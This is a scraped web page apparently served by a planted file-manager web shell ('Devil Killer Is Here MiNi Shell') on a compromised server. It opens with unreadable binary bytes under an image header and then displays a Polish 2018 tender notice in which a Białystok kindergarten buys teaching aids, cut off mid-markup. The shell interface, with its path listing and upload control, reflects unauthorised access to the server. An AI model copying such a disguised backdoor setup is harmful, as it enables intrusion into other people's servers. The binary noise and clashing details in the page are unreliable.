JFIF ( %!1!%)+...383-7(-.+  -% &5/------------------------------------------------";!1AQ"aq2#3BRrb*!1"AQa2q#B ?yRd&vGlJwZvK)YrxB#j]ZAT^dpt{[wkWSԋ*QayBbm*&0<|0pfŷM`̬ ^.qR𽬷^EYTFíw<-.j)M-/s yqT'&FKz-([lև<G$wm2*e Z(Y-FVen櫧lҠDwүH4FX1 VsIOqSBۡNzJKzJξcX%vZcFSuMٖ%B ִ##\[%yYꉅ !VĂ1َRI-NsZJLTAPמQ:y״g_g= m֯Ye+Hyje!EcݸࢮSo{׬*h g<@KI$W+W'_> lUs1,o*ʺE.U"N&CTu7_0VyH,q ,)H㲣5<t ;rhnz%ݓz+4 i۸)P6+F>0Tв`&i}Shn?ik܀՟ȧ@mUSLFηh_er i_qt]MYhq 9LaJpPןߘvꀡ\"z[VƬ¤*aZMo=WkpSp \QhMb˒YH=ܒ m`CJt 8oFp]>pP1F>n8(*aڈ.Y݉[iTع JM!x]ԶaJSWҼܩ`yQ`*kE#nNkZKwA_7~ ΁JЍ;-2qRxYk=Uր>Z qThv@.w c{#&@#l;D$kGGvz/7[P+i3nIl`nrbmQi%}rAVPT*SF`{'6RX46PԮp(3W҅U\a*77lq^rT$vs2MU %*ŧ+\uQXVH !4t*Hg"Z챮 JX+RVU+ތ]PiJT XI= iPO=Ia3[ uؙ&2Z@.*SZ (")s8Y/-Fh Oc=@HRlPYp!wr?-dugNLpB1yWHyoP\ѕрiHִ,ِ0aUL.Yy`LSۜ,HZz!JQiVMb{( tژ <)^Qi_`: }8ٱ9_.)a[kSr> ;wWU#M^#ivT܎liH1Qm`cU+!2ɒIX%ֳNړ;ZI$?b$(9f2ZKe㼭qU8I[ U)9!mh1^N0 f_;׆2HFF'4b! yBGH_jтp'?uibQ T#ѬSX5gޒSF64ScjwU`xI]sAM( 5ATH_+s 0^IB++h@_Yjsp0{U@G -:*} TނMH*֔2Q:o@ w5(߰ua+a ~w[3W(дPYrF1E)3XTmIFqT~z*Is*清Wɴa0Qj%{T.ޅ״cz6u6݁h;֦ 8d97ݴ+ޕxзsȁ&LIJT)R0}f }PJdp`_p)əg(ŕtZ 'ϸqU74iZ{=Mhd$L|*UUn &ͶpHYJۋj /@9X?NlܾHYxnuXږAƞ8j ໲݀pQ4;*3iMlZ6w ȵP Shr!ݔDT7/ҡϲigD>jKAX3jv+ ߧز #_=zTm¦>}Tց<|ag{E*ֳ%5zW.Hh~a%j"e4i=vױi8RzM75i֟fEu64\էeo00d H韧rȪz2eulH$tQ>eO$@B /?=#٤ǕPS/·.iP28s4vOuz3zT& >Z2[0+[#Fޑ]!((!>s`rje('|,),y@\pЖE??u˹yWV%8mJ iw:u=-2dTSuGL+m<*צ1as&5su\phƃ qYLֳ>Y(PKi;Uڕp ..!i,54$IUEGLXrUE6m UJC?%4AT]I]F>׹P9+ee"Aid!Wk|tDv/ODc/,o]i"HIHQ_n spv"b}}&I:pȟU-_)Ux$l:fژɕ(I,oxin8*G>ÌKG}Rڀ8Frajٷh !*za]lx%EVRGYZoWѮ昀BXr{[d,t Eq ]lj+ N})0B,e iqT{z+O B2eB89Cڃ9YkZySi@/(W)d^Ufji0cH!hm-wB7C۔֛X$Zo)EF3VZqm)!wUxM49< 3Y .qDfzm |&T"} {*ih&266U9* <_# 7Meiu^h--ZtLSb)DVZH*#5UiVP+aSRIª!p挤c5g#zt@ypH={ {#0d N)qWT kA<Ÿ)/RT8D14y b2^OW,&Bcc[iViVdִCJ'hRh( 1K4#V`pِTw<1{)XPr9Rc 4)Srgto\Yτ~ xd"jO:A!7􋈒+E0%{M'T^`r=E*L7Q]A{]A<5ˋ.}<9_K (QL9FЍsĮC9!rpi T0q!H \@ܩB>F6 4ۺ6΋04ϲ^#>/@tyB]*ĸp6&<џDP9ᗟatM'> b쪗wI!܁V^tN!6=FD܆9*? q6h8  {%WoHoN.l^}"1+uJ ;r& / IɓKH*ǹP-J3+9 25w5IdcWg0n}U@2 #0iv腳z/^ƃOR}IvV2j(tB1){S"B\ ih.IXbƶ:GnI F.^a?>~!k''T[ע93fHlNDH;;sg-@, JOs~Ss^H '"#t=^@'W~Ap'oTڭ{Fن̴1#'c>꜡?F颅B L,2~ת-s2`aHQm:F^j&~*Nūv+{sk$F~ؒ'#kNsٗ D9PqhhkctԷFIo4M=SgIu`F=#}Zi'cu!}+CZI7NuŤIe1XT xC۷hcc7 l?ziY䠩7:E>k0Vxypm?kKNGCΒœap{=i1<6=IOV#WY=SXCޢfxl4[Qe1 hX+^I< tzǟ;jA%n=q@j'JT|na$~BU9؂dzu)m%glwnXL`޹W`AH̸뢙gEu[,'%1pf?tJ Ζmc[\ZyJvn$Hl'<+5[b]v efsЁ ^. &2 yO/8+$ x+zs˧Cޘ'^e fA+ڭsOnĜz,FU%HU&h fGRN擥{N$k}92k`Gn8<ʮsdH01>b{ {+ [k_F@KpkqV~sdy%ϦwK`D!N}N#)x9nw@7y4*\ Η$sR\xts30`O<0m~%U˓5_m ôªs::kB֫.tpv쌷\R)3Vq>ٝj'r-(du @9s5`;iaqoErY${i .Z(Џs^!yCϾ˓JoKbQU{௫e.-r|XWլYkZe0AGluIɦvd7 q -jEfۭt4q +]td_+%A"zM2xlqnVdfU^QaDI?+Vi\ϙLG9r>Y {eHUqp )=sYkt,s1!r,l鄛u#I$-֐2A=A\J]&gXƛ<ns_Q(8˗#)4qY~$'3"'UYcIv s.KO!{, ($LI rDuL_߰ Ci't{2L;\ߵ7@HK.Z)4
Devil Killer Is Here MiNi Shell

MiNi SheLL

Current Path : /home/vmanager/www/common/web/tenders/20181117/

Linux 9dbcd5f6333d 5.15.0-124-generic #134-Ubuntu SMP Fri Sep 27 20:20:17 UTC 2024 x86_64
Upload File :
Current File : /home/vmanager/www/common/web/tenders/20181117/649486-N-2018.html

 <script type="text/javascript">//<![CDATA[//]]></script> <div> <style type="text/css"> .divRow_xforms { float: left; width: 100%; font-weight: normal; line-height: 30px; } .headerLarge_xforms { font-weight: bold; padding-top: 20px; padding-bottom: 20px; font-size: larger} .headerMedium_xforms { font-weight: bold; padding-top: 20px; padding-bottom: 20px; font-size: medium} .headerSmall_xforms { font-weight: bold; font-size: x-small;} .table_xforms { border-collapse: collapse; width: 900px; font-weight: normal} .table_xforms td { border: 2px solid black; border-collapse: collapse; padding: 5px;} .table_xforms th { border: 2px solid black; border-collapse: collapse; padding: 5px; font-weight: bold} @media print { .no-print, .no-print * { display: none !important; } } </style> <br /> <br /> <span id="ctl00_ContentPlaceHolder1_lblNumerOgloszenia">Ogłoszenie nr 649486-N-2018 z dnia 2018-11-17 r. </span> <br /> <br /> <div class="divRow_xforms"> <div class="headerMedium_xforms" style="text-align: center"> <span id="ctl00_ContentPlaceHolder1_zamawiajacy_miejscowosc_h">Przedszkole Samorządowe nr 4</span>: <span id="ctl00_ContentPlaceHolder1_nazwa_nadana_zamowieniu_h">Zakup pomocy dydaktycznych</span><br/> OGŁOSZENIE O ZAMÓWIENIU - <span id="ctl00_ContentPlaceHolder1_rodzaj_zamowienia_h">Dostawy</span> </div> <div> <b>Zamieszczanie ogłoszenia:</b> <span id="ctl00_ContentPlaceHolder1_zamieszczanie_obowiazkowe">Zamieszczanie obowiązkowe</span> </div> <div> <b>Ogłoszenie dotyczy:</b> <span id="ctl00_ContentPlaceHolder1_ogloszenie_dotyczy">Zamówienia publicznego</span> </div> <div> <b>Zamówienie dotyczy projektu lub programu współfinansowanego ze środków Unii Europejskiej </b> <br/> <div style="padding-left: 20px"> <span id="ctl00_ContentPlaceHolder1_czy_finansowane_z_unii">Tak</span> </div> <br/> <b>Nazwa projektu lub programu</b> <br/> <span id="ctl00_ContentPlaceHolder1_nazwa_projektu_programu">Projekt pn.: Przedszkolaki odkrywają świat</span> </div> <div> <b>O zamówienie mogą ubiegać się wyłącznie zakłady pracy chronionej oraz wykonawcy, których działalność, lub działalność ich wyodrębnionych organizacyjnie jednostek, które będą realizowały zamówienie, obejmuje społeczną i zawodową integrację osób będących członkami grup społecznie marginalizowanych </b> <br/> <div style="padding-left: 20px"> <span id="ctl00_ContentPlaceHolder1_czy_ubiegac_zaklady_pracy">Nie</span> </div> <br/> Należy podać minimalny procentowy wskaźnik zatrudnienia osób należących do jednej lub więcej kategorii, o których mowa w art. 22 ust. 2 ustawy Pzp, nie mniejszy niż 30%, osób zatrudnionych przez zakłady pracy chronionej lub wykonawców albo ich jednostki (w %) <br/> <span id="ctl00_ContentPlaceHolder1_minimalny_procent_zatrudnienia"></span> </div> <div class="headerLarge_xforms" style="text-align: left"> <u>SEKCJA I: ZAMAWIAJĄCY</u> </div> <div style="padding-left: 20px"> <b>Postępowanie przeprowadza centralny zamawiający </b> <br/> <div style="padding-left: 20px"> <span id="ctl00_ContentPlaceHolder1_czy_przeprowadza_centralny_zamawiajacy">Nie</span> </div> <b>Postępowanie przeprowadza podmiot, któremu zamawiający powierzył/powierzyli przeprowadzenie postępowania </b> <br/> <div style="padding-left: 20px"> <span id="ctl00_ContentPlaceHolder1_czy_przeprowadza_podmiot_zamawiajacy_powierzyl">Tak</span> </div> <b>Informacje na temat podmiotu któremu zamawiający powierzył/powierzyli prowadzenie postępowania:</b> <span id="ctl00_ContentPlaceHolder1_zamawiajacy_powierzyl">ACTUS Zamówienia Publiczne Daniel Ambrożej tel. 601 611 353</span> <br/> <b>Postępowanie jest przeprowadzane wspólnie przez zamawiających</b> <br/> <div style="padding-left: 20px"> <span id="ctl00_ContentPlaceHolder1_czy_przeprowadza_wspolnie">Nie</span> </div> <br/> Jeżeli tak, należy wymienić zamawiających, którzy wspólnie przeprowadzają postępowanie oraz podać adresy ich siedzib, krajowe numery identyfikacyjne oraz osoby do kontaktów wraz z danymi do kontaktów: <br/> <br/> <b>Postępowanie jest przeprowadzane wspólnie z zamawiającymi z innych państw członkowskich Unii Europejskiej </b> <br/> <div style="padding-left: 20px"> <span id="ctl00_ContentPlaceHolder1_czy_przeprowadza_zamawiajacy_z_eu">Nie</span> </div> <b>W przypadku przeprowadzania postępowania wspólnie z zamawiającymi z innych państw członkowskich Unii Europejskiej - mające zastosowanie krajowe prawo zamówień publicznych:</b> <span id="ctl00_ContentPlaceHolder1_postepowanie_wspolne_tresc"></span> <br/> <b>Informacje dodatkowe:</b> <span id="ctl00_ContentPlaceHolder1_informacje_dodatkowe_zamawiajacy"></span> <br/> </div> <div style="padding-left: 20px;"> <div style="text-align: left"> <b>I. 1) NAZWA I ADRES: </b> <span id="ctl00_ContentPlaceHolder1_zamawiajacy_nazwa">Przedszkole Samorządowe nr 4</span>, krajowy numer identyfikacyjny <span id="ctl00_ContentPlaceHolder1_regon">20040622700000</span>, ul. <span id="ctl00_ContentPlaceHolder1_zamawiajacy_adres_ulica">ul. Sokólska</span>&#160; <span id="ctl00_ContentPlaceHolder1_zamawiajacy_adres_numer_domu">2</span> <span id="ctl00_ContentPlaceHolder1_zamawiajacy_adres_numer_mieszkania"></span> , <span id="ctl00_ContentPlaceHolder1_zamawiajacy_kod_pocztowy">15865 </span>&#160; <span id="ctl00_ContentPlaceHolder1_zamawiajacy_miejscowosc">Białystok</span>, woj. <span id="ctl00_ContentPlaceHolder1_zamawiajacy_wojewodztwo">podkarpackie</span>, państwo <span id="ctl00_ContentPlaceHolder1_zamawiajacy_panstwo">Polska</span>, tel. <span id="ctl00_ContentPlaceHolder1_zamawiajacy_telefon">85 652 70 97</span>, e-mail <span id="ctl00_ContentPlaceHolder1_zamawiajacy_email">ps4@um.białystok.pl</span>, faks <span id="ctl00_ContentPlaceHolder1_zamawiajacy_fax">85 652 70 97</span>. <br/> Adres strony internetowej (URL): <span id="ctl00_ContentPlaceHolder1_adres_strony_url">http://ps4.bialystok.pl/</span> <br/> Adres profilu nabywcy: <span id="ctl00_ContentPlaceHolder1_adres_strony_internetowej"></span> <br/> Adres strony internetowej pod którym można uzyskać dostęp do narzędzi i urządzeń lub formatów plików, które nie są ogólnie dostępne <span id="ctl00_ContentPlaceHolder1_adres_strony_internetowej_narzedzia"></span> </div> <div style="text-align: left"> <b>I. 2) RODZAJ ZAMAWIAJĄCEGO: </b> <span id="ctl00_ContentPlaceHolder1_rodzaj_zamawiajacego">Jednostki organizacyjne administracji samorządowej</span> <br /> <span id="ctl00_ContentPlaceHolder1_rodzaj_zamawiajacego_inny"></span> </div> <div style="text-align: left"> <b> I.3) WSPÓLNE UDZIELANIE ZAMÓWIENIA <i>(jeżeli dotyczy)</i>: </b> <div style="padding-left: 20px"> Podział obowiązków między zamawiającymi w przypadku wspólnego przeprowadzania postępowania, w tym w przypadku wspólnego przeprowadzania postępowania z zamawiającymi z innych państw członkowskich Unii Europejskiej (który z zamawiających jest odpowiedzialny za przeprowadzenie postępowania, czy i w jakim zakresie za przeprowadzenie postępowania odpowiadają pozostali zamawiający, czy zamówienie będzie udzielane przez każdego z zamawiających indywidualnie, czy zamówienie zostanie udzielone w imieniu i na rzecz pozostałych zamawiających): <br/> <span id="ctl00_ContentPlaceHolder1_wspolne_udzielanie_zamowienia"></span> </div> </div> <div style="text-align: left"> <b> I.4) KOMUNIKACJA: </b> <br/> <b>Nieograniczony, pełny i bezpośredni dostęp do dokumentów z postępowania można uzyskać pod adresem (URL)</b> <div style="padding-left: 20px"> <span id="ctl00_ContentPlaceHolder1_czy_dostep_dokumentow_zamowienia">Tak</span> <br/> <span id="ctl00_ContentPlaceHolder1_dostep_dokumentow_zamowienia">http://ps4.bialystok.pl/</span> </div> <br/> <b>Adres strony internetowej, na której zamieszczona będzie specyfikacja istotnych warunków zamówienia </b> <div style="padding-left: 20px"> <span id="ctl00_ContentPlaceHolder1_czy_zamieszczona_bedzie_specyfikacja">Tak</span> <br/> <span id="ctl00_ContentPlaceHolder1_zamieszczona_bedzie_specyfikacja">http://ps4.bialystok.pl/</span> </div> <br/> <b>Dostęp do dokumentów z postępowania jest ograniczony - więcej informacji można uzyskać pod adresem </b> <div style="padding-left: 20px"> <span id="ctl00_ContentPlaceHolder1_czy_dostep_do_dokumentow_ograniczony">Nie</span> <br/> <span id="ctl00_ContentPlaceHolder1_dostep_do_dokumentow_ograniczony"></span> </div> <br/> <b>Oferty lub wnioski o dopuszczenie do udziału w postępowaniu należy przesyłać:</b> <br/> <b>Elektronicznie</b> <div style="padding-left: 20px"> <span id="ctl00_ContentPlaceHolder1_czy_oferty_wnioski_dostepne">Nie</span> <br/> adres <br/> <span id="ctl00_ContentPlaceHolder1_oferty_wnioski_dostepne"></span> </div> <br/> <div style="padding-left: 20px"> <b>Dopuszczone jest przesłanie ofert lub wniosków o dopuszczenie do udziału w postępowaniu w inny sposób:</b> <br/> <span id="ctl00_ContentPlaceHolder1_czy_dopuszczone_wymagane_przeslanie_ofert">Nie</span> <br/> Inny sposób: <br/> <span id="ctl00_ContentPlaceHolder1_dopuszczone_wymagane_przeslanie_ofert_inny"></span> <br/> <b>Wymagane jest przesłanie ofert lub wniosków o dopuszczenie do udziału w postępowaniu w inny sposób:</b> <br/> <span id="ctl00_ContentPlaceHolder1_czy_wymagane_przeslanie_ofert">Tak</span> <br /> Inny sposób: <br/> <span id="ctl00_ContentPlaceHolder1_wymagane_przeslanie_ofert_inny">forma pisemna</span> <br/> Adres: <br/> <span id="ctl00_ContentPlaceHolder1_dopuszczone_wymagane_przeslanie_ofert_adres">ul. Sokólska 2; 15-865 Białystok</span> </div> <br/> <b>Komunikacja elektroniczna wymaga korzystania z narzędzi i urządzeń lub formatów plików, które nie są ogólnie dostępne</b> <div style="padding-left: 20px"> <span id="ctl00_ContentPlaceHolder1_czy_komunikacja_elektroniczna_wymaga">Nie</span> <br/> Nieograniczony, pełny, bezpośredni i bezpłatny dostęp do tych narzędzi można uzyskać pod adresem: (URL) <br/> <span id="ctl00_ContentPlaceHolder1_komunikacja_elektroniczna_wymaga"></span> </div> </div> </div> <div class="headerLarge_xforms" style="text-align: left"> <u> SEKCJA II: PRZEDMIOT ZAMÓWIENIA </u> </div> <div style="padding-left: 20px;"> <div style="text-align: left"> <br/> <b>II.1) Nazwa nadana zamówieniu przez zamawiającego: </b> <span id="ctl00_ContentPlaceHolder1_nazwa_nadana_zamowieniu">Zakup pomocy dydaktycznych</span> <br/> <b>Numer referencyjny: </b> <span id="ctl00_ContentPlaceHolder1_numer_referencyjny">ZP-24/PS4/UE/18</span> <br/> <b>Przed wszczęciem postępowania o udzielenie zamówienia przeprowadzono dialog techniczny </b> <br/> <div style="padding-left: 20px; text-align: justify"> <span id="ctl00_ContentPlaceHolder1_czy_dialog_techniczny">Nie</span> </div> <br/> <b>II.2) Rodzaj zamówienia: </b> <span id="ctl00_ContentPlaceHolder1_rodzaj_zamowienia">Dostawy</span> <br/> <b>II.3) Informacja o możliwości składania ofert częściowych</b> <br/> Zamówienie podzielone jest na części: <br/> <div style="padding-left: 20px"> <span id="ctl00_ContentPlaceHolder1_czy_podzielone_na_czesci">Tak</span> <br/> <b>Oferty lub wnioski o dopuszczenie do udziału w postępowaniu można składać w odniesieniu do:</b> <br/> <span id="ctl00_ContentPlaceHolder1_oferty_lub_wnioski">wszystkich części</span> <span id="ctl00_ContentPlaceHolder1_maksymalna_liczba_czesci"></span> <br/> </div> <b>Zamawiający zastrzega sobie prawo do udzielenia łącznie następujących części lub grup części:</b> <br/> <span id="ctl00_ContentPlaceHolder1_zastrzega_prawo_grup_czesci"></span> <br/> <b>Maksymalna liczba części zamówienia, na które może zostać udzielone zamówienie jednemu wykonawcy:</b> <br/> <span id="ctl00_ContentPlaceHolder1_maksymalna_liczba_czesci_jednemu_wykonawcy">2</span> <br/> <br/> <br/> <b> II.4) Krótki opis przedmiotu zamówienia </b> <i>(wielkość, zakres, rodzaj i ilość dostaw, usług lub robót budowlanych lub określenie zapotrzebowania i wymagań )</i><b> a w przypadku partnerstwa innowacyjnego - określenie zapotrzebowania na innowacyjny produkt, usługę lub roboty budowlane: </b> <span id="ctl00_ContentPlaceHolder1_okreslenie_przedmiotu">1.	Przedmiotem zamówienia jest zakup pomocy dydaktycznych przeznaczonego na potrzeby 3 placówek realizujących projekt pn.: ,,Przedszkolaki odkrywają świat" w asortymencie i ilościach ujętych w zestawieniach stanowiących załącznik w formacie EXCEL.2.	Opisy, skład, technologie bądź materiały wskazujące producentów określają wymagania minimalne jakościowo bądź technologicznie i dopuszcza się stosowanie zamienników, które nie obniżą tychże wartości w tym użytkowej i jakościowej dostarczanego asortymentu.3.	Wskazane bądź sugerujące opisy nie stanowią zatem preferencji Zamawiającego.4.	Wykonawca zobowiązany jest zatem wykazać, że dostarczany przez niego asortyment, spełnia minimalne wymagania Zamawiającego. Do spełnienia powyższego warunku Zamawiający oczekuje przedłożenia wraz z Formularzem ofertowym specyfikacji/karty charakterystyki produktu - o ile występuje, lub katalogów w dowolnej formie - jeżeli występuje. W takim przypadku wypełnienie opisu oferowanego asortymentu w zestawieniu ilościowym (excel) stanowiącym załącznik do Formularza ofertowego nie jest wymagalne5.	Przedłożone przez Wykonawcę dowody potwierdzające spełnienie warunku określonego w ww. pkt. 4 muszą być jednoznaczne. Zamawiający odrzuci przedłożone dokumenty jeżeli nie będą pozwalały na jednoznaczne spełnienie powyższego obowiązku.6.	Zamawiający przewiduje zamówienie częściowe w trakcie realizacji zamówienia. Podane w załączniku EXCEL ilości poszczególnego asortymentu należy traktować jako wartości szacunkowe i nie muszą zostać wyczerpane w trakcie realizacji umowy. Zamawiający z uwagi na możliwość m.in. uzyskania oszczędności z tytułu realizacji przedmiotowego projektu, przewiduje dostawy dodatkowe w zależności od potrzeb, które nie przekroczą 50 % wartości zamówienia podstawowego udzielonego na warunkach niniejszej SIWZ stosownie do postanowień art. 67 ust. 1 pkt 6 ustawy PZP lub z uwagi na uwarunkowania wynikające z art. 144 ust. 1 pkt 3) lub 5) ustawy PZP nie są zmianami istotnymi, umożliwiającymi w trybie art. 144 ust. 1e ustawy PZP na dokonanie nieistotnych zmian w umowie.7.	Realizacja dostaw będzie dokonywana na podstawie wskazań Zamawiającego w których określony zostanie termin i miejsce dostawy oraz asortyment zamówienia. Zamawiający w szczególności przewiduje dostarczenie określonego zamówienia do trzech wskazanych miejsc odpowiadających lokalizacji pozostałych uczestników przedmiotowego projektu. Z związku z powyższym Zamawiający wymaga wystawienie odrębnych faktur dla każdego podmiotu uczestniczącego w przedmiotowym projekcie. Wszelkie konsekwencje podatkowe leżą po stronie Wykonawcy/-ów.8.	Przedmiot zamówienia został określony w następujących częściach: Cz. 1 - programy do tablicy interaktywnejCz. 2 - pomoce dydaktyczneZamawiający nie przewiduje ograniczeń dotyczących złożenia ofert na wybrane części. Zamawiający wymaga dostarczenia nowego asortymentu.9.	Warunki dostawy:1)	Wykonawca zobowiązuje się do dostarczenia przedmiotu zamówienia zgodnego z opisem na własny koszt i ryzyko.2)	realizacja dostaw odbywa się na podstawie zawartej umowy oraz ewentualnych dodatkowych ustaleń bądź wskazówek Zamawiającego, zawierających ilości i terminy dostaw oraz w miarę potrzeb inne warunki istotne z punktu widzenia Zamawiającego, 3)	jakiekolwiek zawiadomienie przekazywane miedzy stronami w formie pisemnej, elektronicznej, telefonicznej lub faxu skutkuje w momencie doręczenia go danej ze stron,4)	Zamawiający zastrzega prawo do sprawdzenia zamówionego asortymentu pod względem ilościowym i jakościowym również w momencie odbioru towaru. 5)	Wykonawca zobowiązany jest do znakowania i opakowania towaru zgodnie z obowiązującymi przepisami, z uwzględnieniem wymagań Zamawiającego określonych w opisie przedmiotu zamówienia,6)	przy dostawie Wykonawca zobowiązany jest do zapewnienia:a)	odpowiednich środków transportu;b)	odpowiedniego zabezpieczenia towaru na czas przewozu, pod rygorem odpowiedzialności za braki i wady powstałe w czasie transportu;c)	przeprowadzenia ewentualnej kontroli jakości i zgodności dostarczonego towaru z wymogami Zamawiającego.10.	Dostarczony asortyment musi być oznakowany w sposób zrozumiały, napisy muszą być wyraźne, czytelne i nieusuwalne, umieszczone w widocznym miejscu, a także nie mogą być w żaden sposób ukryte, zasłonięte lub przesłonięte innymi nadrukami lub obrazkami.11.	Przedmiot zamówienia dostarczany będzie w oryginalnych opakowaniach - bez stosowania opakowań zastępczych.</span> <br/> <br/> <b>II.5) Główny kod CPV: </b> <span id="ctl00_ContentPlaceHolder1_cpv_glowny_przedmiot">39162100-6</span> <br/> <b> Dodatkowe kody CPV:</b> <br/> <TABLE style='border: 1px solid black;border-collapse: collapse;'><TR><TD style='border: 1px solid black;border-collapse: collapse;'>Kod CPV</TD></TR><TR><TD style='border: 1px solid black;border-collapse: collapse;'>48700000-5</TD></TR></TABLE> <br /> <br /> <b> II.6) Całkowita wartość zamówienia </b><i>(jeżeli zamawiający podaje informacje o wartości zamówienia)</i>: <br/> Wartość bez VAT: <span id="ctl00_ContentPlaceHolder1_szacunkowa_wartosc_zamowienia_calosc"></span> <br/> Waluta: <br/> <div style="padding-left: 20px"> <span id="ctl00_ContentPlaceHolder1_waluta_calosc"></span> <br/> <i>(w przypadku umów ramowych lub dynamicznego systemu zakupów - szacunkowa całkowita maksymalna wartość w całym okresie obowiązywania umowy ramowej lub dynamicznego systemu zakupów)</i> </div> <br/> <b> II.7) Czy przewiduje się udzielenie zamówień, o których mowa w art. 67 ust. 1 pkt 6 i 7 lub w art. 134 ust. 6 pkt 3 ustawy Pzp: </b> <span id="ctl00_ContentPlaceHolder1_czy_przewiduje_udzielenie_zamowien_67">Tak</span> <br/> Określenie przedmiotu, wielkości lub zakresu oraz warunków na jakich zostaną udzielone zamówienia, o których mowa w art. 67 ust. 1 pkt 6 lub w art. 134 ust. 6 pkt 3 ustawy Pzp: <span id="ctl00_ContentPlaceHolder1_czy_przewiduje_udzielenie_zamowien_67_tekst">Zamawiający przewiduje zamówienie częściowe w trakcie realizacji zamówienia. Podane w załączniku EXCEL ilości poszczególnego asortymentu należy traktować jako wartości szacunkowe i nie muszą zostać wyczerpane w trakcie realizacji umowy. Zamawiający z uwagi na możliwość m.in. uzyskania oszczędności z tytułu realizacji przedmiotowego projektu, przewiduje dostawy dodatkowe w zależności od potrzeb, które nie przekroczą 50 % wartości zamówienia podstawowego udzielonego na warunkach niniejszej SIWZ stosownie do postanowień art. 67 ust. 1 pkt 6 ustawy PZP lub z uwagi na uwarunkowania wynikające z art. 144 ust. 1 pkt 3) lub 5) ustawy PZP nie są zmianami istotnymi, umożliwiającymi w trybie art. 144 ust. 1e ustawy PZP na dokonanie nieistotnych zmian w umowie.</span> <br/> <b>II.8) Okres, w którym realizowane będzie zamówienie lub okres, na który została zawarta umowa ramowa lub okres, na który został ustanowiony dynamiczny system zakupów:</b> <br /> miesiącach:&#160; <span id="ctl00_ContentPlaceHolder1_okres_w_miesiacach"></span> &#160;<i> lub </i> <b> dniach:</b> <span id="ctl00_ContentPlaceHolder1_okres_w_dniach">21</span> <br /> <i>lub</i> <br /> <b> data rozpoczęcia: </b> <span id="ctl00_ContentPlaceHolder1_data_rozpoczecia"></span> &#160;<i> lub </i><b> zakończenia: </b> <span id="ctl00_ContentPlaceHolder1_data_zakonczenia"></span> <br /> <br/> <b>II.9) Informacje dodatkowe: </b> <span id="ctl00_ContentPlaceHolder1_informacje_na_temat_katalogow"></span> </div> </div> <div class="headerLarge_xforms" style="text-align: left"> <u> SEKCJA III: INFORMACJE O CHARAKTERZE PRAWNYM, EKONOMICZNYM, FINANSOWYM I TECHNICZNYM </u> </div> <div style="padding-left: 20px;"> <div style="text-align: left"> <b> III.1) WARUNKI UDZIAŁU W POSTĘPOWANIU </b> <br/> <div style="padding-left: 20px"> <b>III.1.1) Kompetencje lub uprawnienia do prowadzenia określonej działalności zawodowej, o ile wynika to z odrębnych przepisów</b> <br/> Określenie warunków: <span id="ctl00_ContentPlaceHolder1_okreslenie_warunkow">Zamawiający nie stawia szczególnych wymagań w zakresie spełnienia tego warunku.Wykonawca potwierdza spełnienie warunku poprzez złożenie oświadczenia.</span> <br/> Informacje dodatkowe <span id="ctl00_ContentPlaceHolder1_informacje_dodatkowe_okreslenie_warunkow"></span> <br/> <b>III.1.2) Sytuacja finansowa lub ekonomiczna </b> <br/> Określenie warunków: <span id="ctl00_ContentPlaceHolder1_sytuacja_finansowa_okreslenie_warunkow">Zamawiający nie stawia szczególnych wymagań w zakresie spełnienia tego warunku.Wykonawca potwierdza spełnienie warunku poprzez złożenie oświadczenia.</span> <br/> Informacje dodatkowe <span id="ctl00_ContentPlaceHolder1_sytuacja_finansowa_informacje_dodatkowe"></span> <br/> <b>III.1.3) Zdolność techniczna lub zawodowa </b> <br/> Określenie warunków: <span id="ctl00_ContentPlaceHolder1_zdolnosc_techniczna_okreslenie_warunkow">Zamawiający nie stawia szczególnych wymagań w zakresie spełnienia tego warunku.Wykonawca potwierdza spełnienie warunku poprzez złożenie oświadczenia.</span> <br/> Zamawiający wymaga od wykonawców wskazania w ofercie lub we wniosku o dopuszczenie do udziału w postępowaniu imion i nazwisk osób wykonujących czynności przy realizacji zamówienia wraz z informacją o kwalifikacjach zawodowych lub doświadczeniu tych osób: <span id="ctl00_ContentPlaceHolder1_czy_zdolnosc_techniczna_wymaga_wykonawcow">Nie</span> <br/> Informacje dodatkowe: <span id="ctl00_ContentPlaceHolder1_zdolnosc_techniczna_informacje_dodatkowe"></span> </div> <b> III.2) PODSTAWY WYKLUCZENIA </b> <br/> <div style="padding-left: 20px"> <b>III.2.1) Podstawy wykluczenia określone w art. 24 ust. 1 ustawy Pzp</b> <br/> <b>III.2.2) Zamawiający przewiduje wykluczenie wykonawcy na podstawie art. 24 ust. 5 ustawy Pzp</b> <span id="ctl00_ContentPlaceHolder1_czy_zamawiajacy_przewiduje_wykluczenie">Tak</span> Zamawiający przewiduje następujące fakultatywne podstawy wykluczenia: <span id="ctl00_ContentPlaceHolder1_art_24_ust_5_pkt_1">Tak (podstawa wykluczenia określona w art. 24 ust. 5 pkt 1 ustawy Pzp)</span> <br/> <span id="ctl00_ContentPlaceHolder1_art_24_ust_5_pkt_2"></span> <br/> <span id="ctl00_ContentPlaceHolder1_art_24_ust_5_pkt_3"></span> <br/> <span id="ctl00_ContentPlaceHolder1_art_24_ust_5_pkt_4">Tak (podstawa wykluczenia określona w art. 24 ust. 5 pkt 4 ustawy Pzp)</span> <br/> <span id="ctl00_ContentPlaceHolder1_art_24_ust_5_pkt_5"></span> <br/> <span id="ctl00_ContentPlaceHolder1_art_24_ust_5_pkt_6"></span> <br/> <span id="ctl00_ContentPlaceHolder1_art_24_ust_5_pkt_7"></span> <br/> <span id="ctl00_ContentPlaceHolder1_art_24_ust_5_pkt_8"></span> <br/> </div> <b> III.3) WYKAZ OŚWIADCZEŃ SKŁADANYCH PRZEZ WYKONAWCĘ W CELU WSTĘPNEGO POTWIERDZENIA, ŻE NIE PODLEGA ON WYKLUCZENIU ORAZ SPEŁNIA WARUNKI UDZIAŁU W POSTĘPOWANIU ORAZ SPEŁNIA KRYTERIA SELEKCJI </b> <br/> <div style="padding-left: 20px"> <b> Oświadczenie o niepodleganiu wykluczeniu oraz spełnianiu warunków udziału w postępowaniu </b> <br/> <span id="ctl00_ContentPlaceHolder1_czy_oswiadczenie_niepodleganiu_wykluczenia">Tak</span> <br/> <b> Oświadczenie o spełnianiu kryteriów selekcji </b> <br/> <span id="ctl00_ContentPlaceHolder1_czy_oswiadczenie_spelnienie_kryteriow">Nie</span> </div> <b> III.4) WYKAZ OŚWIADCZEŃ LUB DOKUMENTÓW , SKŁADANYCH PRZEZ WYKONAWCĘ W POSTĘPOWANIU NA WEZWANIE ZAMAWIAJACEGO W CELU POTWIERDZENIA OKOLICZNOŚCI, O KTÓRYCH MOWA W ART. 25 UST. 1 PKT 3 USTAWY PZP: </b> <br/> <div style="padding-left: 20px"> <span 